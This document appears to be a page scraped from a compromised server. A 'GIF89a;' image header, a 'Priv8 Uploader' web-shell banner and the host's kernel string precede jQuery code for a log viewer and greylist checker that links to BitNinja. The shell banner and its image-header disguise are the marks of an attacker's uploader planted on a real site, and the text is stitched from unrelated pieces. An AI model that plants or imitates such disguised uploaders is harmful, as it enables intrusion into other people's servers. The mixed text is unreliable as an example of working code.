GIF89a;
Priv8 Uploader By InMyMine7
Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
function getLogs() {
var obj = {};
if (prevLogsData != null) {
obj['prevLogs'] = prevLogsData;
}
obj['getLogs'] = true;
$.ajax({
url: window.location.href,
type: 'POST',
data: obj,
success: function (result) {
var res = JSON.parse(result);
for (var i = 0; i < res.logs.length; i++) {
var row = decorateRow(res.logs[i]);
$('#logContainer div').append(row + '<br>');
}
prevLogsData = JSON.stringify(res.logFilesDatas);
if (res.logs.length != 0) {
$('#logContainer').scrollTop($('#logContainer')[0].scrollHeight);
}
}
});
}
function decorateRow(row) {
var rowItems = row.match(/(\[([^\s]+)]) ([\s\S]*)/);
if (rowItems != null) {
var row = '<span class="severity">[' + rowItems[2] + '] </span><span class="' + rowItems[2] + '">' + rowItems[3] + '</span>';
row = row.replace(/\[(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)\]/, '<a target="_blank" href="https://admin.bitninja.io/search/index/search/ip/criteria/$1">[$1]</a>');
}
return row;
}
function stop() {
$('#menu .ajaxLoader').show();
$.ajax({
url: window.location.href,
type: "POST",
data: {stop: 1},
});
setTimeout(function () {
window.location.href = window.location.href
}, 5000);
}
function start() {
$('#menu .ajaxLoader').show();
$.ajax({
url: window.location.href,
type: "POST",
data: {
start: 1
},
});
setTimeout(function () {
window.location.href = window.location.href
}, 10000);
}
function playLog(element) {
$('#logContainer').css('overflow-y', 'hidden');
$(element).attr('class', 'pause tooltips');
$(element).attr('data-original-title', 'Pause');
$(element).attr('onclick', 'pauseLog(this);');
logEvents = setInterval(function () {
getLogs();
}, 200);
$('#logContainer').scrollTop($('#logContainer')[0].scrollHeight);
}
function pauseLog(element) {
$('#logContainer').css('overflow-y', 'auto');
$(element).attr('class', 'play tooltips');
$(element).attr('data-original-title', 'Play');
$(element).attr('onclick', 'playLog(this);');
clearInterval(logEvents);
}
function checkGL(element) {
var $form = $(element).parents('form.check-greylist');
var res;
$.ajax({
url: window.location.href,
type: 'POST',
data: $form.serialize(),
beforeSend: function () {
$('form.check-greylist #response').text('');
},
success: function (result) {
res = JSON.parse(result);
$('form.check-greylist div#response').text(res.message);
if (res.success) {
$('form.check-greylist #response').attr('class', 'success');
} else {
$('form.check-greylist #response').attr('class', 'error');
}
}
});
}